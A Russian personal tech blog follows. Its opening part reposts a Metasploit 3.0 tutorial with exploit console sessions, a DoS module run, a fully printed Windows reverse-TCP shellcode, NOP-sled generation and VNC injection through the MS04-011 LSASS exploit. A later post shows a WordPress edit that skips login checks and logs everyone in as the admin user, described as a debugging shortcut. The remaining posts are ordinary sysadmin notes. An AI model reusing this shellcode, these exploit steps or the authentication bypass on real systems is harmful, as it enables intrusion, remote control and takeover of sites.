Начинка - это определенный код, который исполнится после успешного взлома эксплоитом. Для получения списка всех начинок, доступных для данного эксплоита используй комманду SHOW PAYLOADS. Если ты пользуешься фаерволом, то, возможно, тебе понадобится начинка "bind shell". Если твоя цель пользуется фаерволом, а ты нет, то тебе поможет начинка "reverse connect". Для получения информации об определенной начинке нужно ввести комманду INFO PAYLOAD_NAME, где payload_name - название начинки. Когда ты выбрал начинку используй комманду SET чтобы выбрать названия модуля начинки как значение для переменной PAYLOAD. Для вывода настроек начинки используй комманду SHOW OPTIONS. Большинство начинок имеют хотябы одну обязательную опцию. Продвинутые настройки имеют большее количество опций. Чтобы просмотреть их введи комманду SHOW ADVANCED. Запомни, что ты можешь выбрать любую начинку, поддерживаемую выбранным эксплоитом, даже если она несовместима с заданной переменной TARGET. Например, если твоя цель - Linux система, а ты выбрал начинку для BSD, то ошибки о несовместимости не будет.

Запуск эксплоита.
Комманда EXPLOIT запустит атаку. Если всё пройдет хорошо, твоя начинка сработает и даст тебе шелл на взломанной системе.
Вспомогательные модули.
Measploit 3.0 поддерживает понятие вспомогательных модулей, которые могут быть использованы для выполнения произвольных одноразовых действий, таких как сканирование портов, DoS и fuzzing.
Запуск вспомогательный задач.
Вспомогательные модули похожи на эксплоит модули. Вместо целей, у них действия, которые назначаются через опцию ACTION. Для запуска вспомогательного модуля ты можешь воспользоваться как коммандой SET, так и коммандой exploit.
msf > use dos/windows/smb/ms06_035_mailslot

msfauxiliary(ms06_035_mailslot) > set RHOST 1.2.3.4

RHOST => 1.2.3.4

msfauxiliary(ms06_035_mailslot) > run

[*]Mangling the kernel,two bytes at a time...


Модули Начинок.

Начинки запускают произвольный код (шеллкод), который исполняется в результате удачного взлома. Начинки обычно создают коммуникационный канал между Metasploit и жертвой.

Создание начинки.
Консольный интерфейс поддерживает генерацию разный видов начинок. Это новая функция в Metasploit 3.0. Для генерации начинки надо выбрать её вид:

msf > use windows/shell_reverse_tcp

msfpayload(shell_reverse_tcp) > generate-h

Usage: generate [options]

Generates a payload.

OPTIONS:


-b The list of characters to avoid: '\x00\xff'

-e The name of the encoder module to use.

-h Help banner.

-o A comma separated list of options in VAR=VAL format.

-s NOP sled length.

-t The output type: ruby, perl, c, orraw.

msfpayload(shell_reverse_tcp) >


Используя опции, поддерживаемые коммандой GENERATE, можно сгенерировать разные виды и формы начинок. Некоторые начинки нуждаются в опции, которая задается через параметр -o. Также, формат для передачи сгенерированной начинки может быть задан параметром -t:

msfpayload(shell_reverse_tcp) > set LHOST 1.2.3.4

LHOST => 1.2.3.4

msfpayload(shell_reverse_tcp) > generate-truby

# windows/shell_reverse_tcp - 287bytes

# http://www.metasploit.com

# EXITFUNC=seh, LPORT=4444, LHOST=1.2.3.4

"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" +

"\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" +

"\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" +

"\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" +

"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c" +

"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" +

"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e" +

"\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" +

"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50" +

"\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff" +

"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43" +

"\x53\x43\x53\xff\xd0\x68\x01\x02\x03\x04\x66\x68\x11\x5c" +

"\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a" +

"\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50" +

"\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95" +

"\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" +

"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51" +

"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05" +

"\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6" +

"\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a" +

"\x04\x5f\x53\xff\xd6\xff\xd0"

msfpayload(shell_reverse_tcp) >



Nop модули.
NOP модули используются для генерирования безоперационных инструкций, который могут быть использованы для увеличения буфера.

Генерирование NOP Sled.
Интерфейс консоли NOP модуля позволяет генерировать NOP Sled произвольного размера и отображать его в формате, показанном ниже, используя комманду GENERATE.

msf > usex86/opty2

msfnop(opty2) > generate -h

Usage: generate [options] length

Generates a NOP sled of a given length.


OPTIONS:

-b The list of characters to avoid: '\x00\xff'

-h Help banner.

-s The comma separated list of registers to save.

-t The output type: ruby, perl, c, orraw.

msfnop(opty2) > 

Для генерирования 50 байт NOP Sled в стиле C буфера нужно ввести эту комманду: 

msfnop(opty2) > generate -t c 50

unsigned char buf[] = 

"\xf5\x3d\x05\x15\xf8\x67\xba\x7d\x08\xd6\x66\x9f\xb8\x2d\xb6"

"\x24\xbe\xb1\x3f\x43\x1d\x93\xb2\x37\x35\x84\xd5\x14\x40\xb4"

"\xb3\x41\xb9\x48\x04\x99\x46\xa9\xb0\xb7\x2f\xfd\x96\x4a\x98"

"\x92\xb5\xd4\x4f\x91";

msfnop(opty2) >


[Продвинутые возможности.]
Этот раздел посвящен расширенным функциям Metasploit Framework. Эти функции могут быть использованы с любым подходящим эксплоитом и являются основой разработки вредоносного (атакующего) кода.

Meterpreter.
Meterpreter - продвинутая мульти-функциональная начинка, которая может динамически дописываться во время выполнения. Это значит, что он даст начальный шелл и позволит добавить в себя новые функции по мере надобности.

Начинки PassiveX.
Metasploit Framework может быть использована для загрузки произвольного средства управления ActiveX. Эта функция патчит реестр системы цели и заставляет взломанный процесс запустить браузер с URL, который соединится с Framework. На компьютере жертвы запускается простой веб-сервер, который может принимать запросы и отправлять обратно вебстраницу, которая загружает компонент ActiveX. После этого взломанная система загружает, регистрирует и исполняет ActiveX. Начальная начинка PassiveX, windows/xxx/reverse_http, поддерживает любой ActiveX, который ты создашь. В дополнение к начальной начинке, три других PassiveX модуля прилагаются к Framework. Они могут быть использованы для исполнения шелл-комманд, загрузки Meterpreter или вставки VNC сервиса. Когда любая из этих трех начинок использованы, объект PassiveX будет эмулировать TCP соединение через HTTP GET и POST запросы. Это позволяет вести диалог с шеллом, VNC или Meterpreter, используя только стандартный HTTP трафик. Так как PassiveX использует браузер Internet Explorer для загрузки компонента AcitveX, он будет работать прямо через удаленный прокси, используя любую систему и настройки идентификации, которые были заранее сконфигурированы. Начинки PassiveX работают только на системах с установленным Inter Explorer 6.0 (не 5.5 и 7.0).

Цепь прокси.
Framework включает в себя поддержку TCP прокси; для использования его с выбранным эксплоитом нужно указать переменную PROXIES. Это значение - разделенные запятой прокси-сервера, формат каждого из которых: type:host:port (тип:сам прокси:порт). Значения ТИП: "http" для HTTP CONNECT и "socks4" для SOCKS v4. Цепь прокси может быть любой длинны; тесты показали, что система работала стабильно через более чем пятьсот SOCKS и HTTP прокси, соединенных в цепь. Цепь прокси скрывает только сам факт взлома, но автоматическое соединение с начинкой осуществляется напрямую, т.е. не через прокси.

Начинка Win32 UploadExec.
Unix системы тоже включают в себя все инструменты, нужные для действий после взлома. Windows системы обделены нормальным набором комманд в коммандой строке. Начинки Windows/upexec/* позволяют одновременно взламывать Windows систему, загружать твой любимый инструмент и использовать его - всё это через сокет-соединение начинки. Если соединить эту начинку с самораспаковывающимся руткитом или интерпретатором какого-нибудь скриптового языка, она (начинка) может оказаться очень полезной. Начинки Meterpreter обычно намного лучше подходят для проверок на уязвимости.

Начинка Win32 DLL Injection.
Framework включает в себя организованную начинки, способную внедрить в память любую DLL в комбинации с любым Win32 эксплоитом. Эта начинка не записывает никаких файлов на диск; DLL'ка пишется прямо в память. Эта начинка была разработана Jarkko Tukulainen и Matt Miller и является одной из самых мощных техник действий после взлома на сегодняшний день. Для создания DLL'ки, которая может быть использована с этой начинкой, используй любой девелоперский (разработческий) интерфейс и создай стандартный Win32 DLL. Этот DLL должен экспортировать функцию INIT, которая занимает один целочисленный аргумент, который содержит в себе дескриптор сокета, через который будет работать начинка. Когда процесс закончился, он должен вернуться и разрешить загрузчику выйти из процесса, согласно функции EXITFUNC.

Внедрение VNC сервера через DLL.
Одна из первых DLL начинок был VNC сервер. Он был написан Matt Miller и основывался на RealVNC. Дополнительные модификации были сделаны для того, чтобы сервер мог работать со взломанным, неинтерактивным сетевым сервисом. Эта начинка позволяет получить доступ к рабочему столу взломанной системы, используя Win32 эксплоит. DLL'ка загружается в удаленный процесс, используя организованную загрузочную систему и слушает запросы VNC клиента на том же сокете, через который загружался DLL. Framework слушает локальный сокет VNC клиента и информацию о прокси через соединение начинки с сервером. VNC сервер будет пробовать получить полный доступ к рабочему столу. Если первая попытка завершается неудачей - он вызовет функцию RevertToSelf() и потом попробует получить доступ снова. Если опять неудача - он вернется в read-only (только чтение) режим. В этом режиме Framework может просматривать содержимое рабочего стола, но не изменять (и т.п.) его. Если полный доступ получен, то VNC сервер запустит коммандную строку на рабочем столе с привилегиями взломанного сервиса. Это удобно, когда за компьютером сидит непривилигированный пользователь, а взломанный сервис имеет привелегии System. Если ни один пользователь не зашел в систему, или экран заблокирован, коммандная строка может быть использована для запуска explorer.exe в любом случае. Если пользователь блокирует экран во время использования или заходит другой пользователь, т.е. происходит смена экрана, то VNC сервер отключится от клиента. Для использования начинки, внедряющей VNC, надо указать полный путь до VNC сервера в переменной DLL'ки. VNC сервер может быть найден в данных поддиректории Framework под названием vncdll.dll. Исходный код DLL'ки может быть найден в external/source/vncdll. Есть несколько ситуаций, когда VNC начинка не будет работать. Проблемы обычно возникают из-за странного выполнения переменных окружения или других вещей, специфичных для эксплоита или метода внедрения. Например:
Эксплоит windows/brightstor/universal_agent приведет VNC начинку к крэшу (выключению), возможно из-за множества разных странных состояний.
msf > usewindows/smb/ms04_011_lsass

msfexploit(ms04_011_lsass) > set RHOST some.vuln.host

RHOST => some.vuln.host

msfexploit(ms04_011_lsass) > set PAYLOAD windows/vncinject/reverse_tcp

PAYLOAD => windows/vncinject/reverse_tcp

msfexploit(ms04_011_lsass) > setLHOSTyour.own.ip

LHOST => your.own.ip

msfexploit(ms04_011_lsass) > set LPORT 4321

LPORT => 4321

msfexploit(ms04_011_lsass) > exploit


Если приложение VNCVIEWER в твоем распоряжении и опция AUTOVNC была установлена (она установлена по умолчанию), Framework автоматически откроет рабочий стол. Если же ты хочешь подключиться к рабочему столу вручную, SET AUTOVNC 0, потом используй VNCVIEWER для соединения с 127.0.0.1 (прим.) на порт 5900.

Цитата

источник http://www.inattack.ru/program/708.html, а там перепост Автор: n0ne. Взято где то с народа


ну в принципе для начала должно хватить))

среда, 16 марта 2011 г.

windows "NTLDR is missing"

В cdrom диск с установкой винды и загрузиться в консоль (какую-нить)

Type:
copy Drive:\i386\ntldr c:\
NoteDrive is the drive letter that you noted in step 6, and then press ENTER.
Type:
copy drive:\i386\ntdetect.com c:\

вторник, 15 марта 2011 г.

rtsp streaming from AirLive 350HD codec h264

h264
rtsp://user:password@camera_address.tld:554/h264/media.amp?resolution=vga

or
mjpeg
rtsp://user:password@camera_address.tld:554/media.amp?resolution=vga
rtsp://user:password@camera_address.tld:554/video.mp4?resolution=vga

четверг, 10 марта 2011 г.

"Prettify" highlighting of source code snippets

http://google-code-prettify.googlecode.com/svn/trunk/README.html

win2008 boot error 0xc0000428 and 0xc000000f

1. bootrec /fixmbr
2. bootrec /rebuildbcd
3. bootrec /fixboot
4. bootrec /scanos
5. chkdsk /r
reboot
===
#bootsect /help
====
cd /d f:\windows\system32 
bcdboot f:\windows /s c:

#Windows 2008 - Must disable UAC
bcdedit.exe /set nointegritychecks ON 
bcdedit /set loadoptions DISABLE_INTEGRITY_CHECKS

суббота, 5 марта 2011 г.

Autologon to WP

Для авторизации в обход БД и проверки юзер/пароль

в файле wp-includes/pluggable.php находим функцию
function wp_authenticate($username, $password) {
в ней строку
$user = apply_filters('authenticate', null, $username, $password);

после нее вставляем строку:
$user = new WP_User(1);

class WP_User(id,name='') - т.е. id=1 ид пользователя в системе, а данном случае admin

P.S. использую для отладочных целей, чтоб не вспоминать или переустанавливать пароли на сайте.

пятница, 4 марта 2011 г.

HOWTO : Passive mode for Pure-FTPd

Step 1 :
sudo echo "50000 50100" > /etc/pure-ftpd/conf/PassivePortRange   
#real IP 192.168.50.100
sudo echo "192.168.50.100" > /etc/pure-ftpd/conf/ForcePassiveIP

Step 2 :

Restart the service.
sudo /etc/init.d/pure-ftpd restart

воскресенье, 20 февраля 2011 г.

SAMBA PDC - контроллер домена и перемещаемые профили

 Основные источники:
  • http://www.ibm.com/developerworks/ru/edu/au-samba/section2.html
  • http://www.howtoforge.com/samba_setup_ubuntu_5.10_p5
  • http://www.ibm.com/developerworks/ru/edu/samba2/section2.html
  • http://forums.contribs.org/index.php/topic,28808.0.html
  • http://helgeklein.com/blog/2008/10/deleting-a-local-user-profile-not-as-easy-as-one-might-assume/

вторник, 15 февраля 2011 г.

mysql dump DB structure in bash

for i in `mysql DB -e "SHOW TABLES" | tail -n +2`; do mysql DB -e "SHOW CREATE TABLE $i" | tail -n +2 | cut -f 2-; break;  done; 

Дублирование базы:
#!/bin/bash
DBUSER=user
DBPASSWORD=pwd
DBSNAME=sourceDb
DBNAME=destinationDb
DBSERVER=db.example.com

fCreateTable=""
fInsertData=""
echo "Copying database ... (may take a while ...)"
DBCONN="-h ${DBSERVER} -u ${DBUSER} --password=${DBPASSWORD}"
echo "DROP DATABASE IF EXISTS ${DBNAME}" | mysql ${DBCONN}
echo "CREATE DATABASE ${DBNAME}" | mysql ${DBCONN}
for TABLE in `echo "SHOW TABLES" | mysql $DBCONN $DBSNAME | tail -n +2`; do
        createTable=`echo "SHOW CREATE TABLE ${TABLE}"|mysql -B -r $DBCONN $DBSNAME|tail -n +2|cut -f 2-`
        fCreateTable="${fCreateTable} ; ${createTable}"
        insertData="INSERT INTO ${DBNAME}.${TABLE} SELECT * FROM ${DBSNAME}.${TABLE}"
        fInsertData="${fInsertData} ; ${insertData}"
done;
echo "$fCreateTable ; $fInsertData" | mysql $DBCONN $DBNAME

пятница, 11 февраля 2011 г.

openerp like module

возможность доступна в Сервере версии trunk

 import openerp
   openerp.tools.config['addons_
path'] = '/home/openerp/repo/addons/'
   db, pool = openerp.pooler.get_db_and_pool('test')
   cr = db.cursor()

   res_users = pool.get('res.users')
   ids = res_users.search(cr, 1, [('active', '=', False)])

   for record in res_users.browse(cr, 1, ids):
       print record.name
       res_users.write(cr, 1, [record.id], {'active': True})

   cr.commit()
   cr.close()

ssh reverse dns

Проблема: долгое время подключение к серверу  (long timeout)

Решение:
  • добавить в /etc/ssh/sshd_config :
    UseDNS no

wu-ftpd reverse dns

Проблема: долгое время подключения(long timeout)

Решение:
  • Добавить в /etc/wu-ftpd/ftpaccess
    dns refuse_no_reverse /etc/ftpd/no_reverse override
    dns refuse_mismatch /etc/ftpd/no_reverse override
  • изменить строку в /etc/nsswitch.conf
    hosts:          files dns
    на
    hosts:          files
  • в /etc/resolv.conf  должен быть указан работающий nameserver x.x.x.x
    в случае с домашним роутером, надо поменять
    nameserver 192.168.1.1 на nameserver 8.8.8.8
  • чтобы при каждой перезагрузке настройки /etc/resolv.conf не сбрасывались надо добавить в /etc/dhcp3/dhclient.conf  строку
    supersede domain-name-servers 8.8.8.8;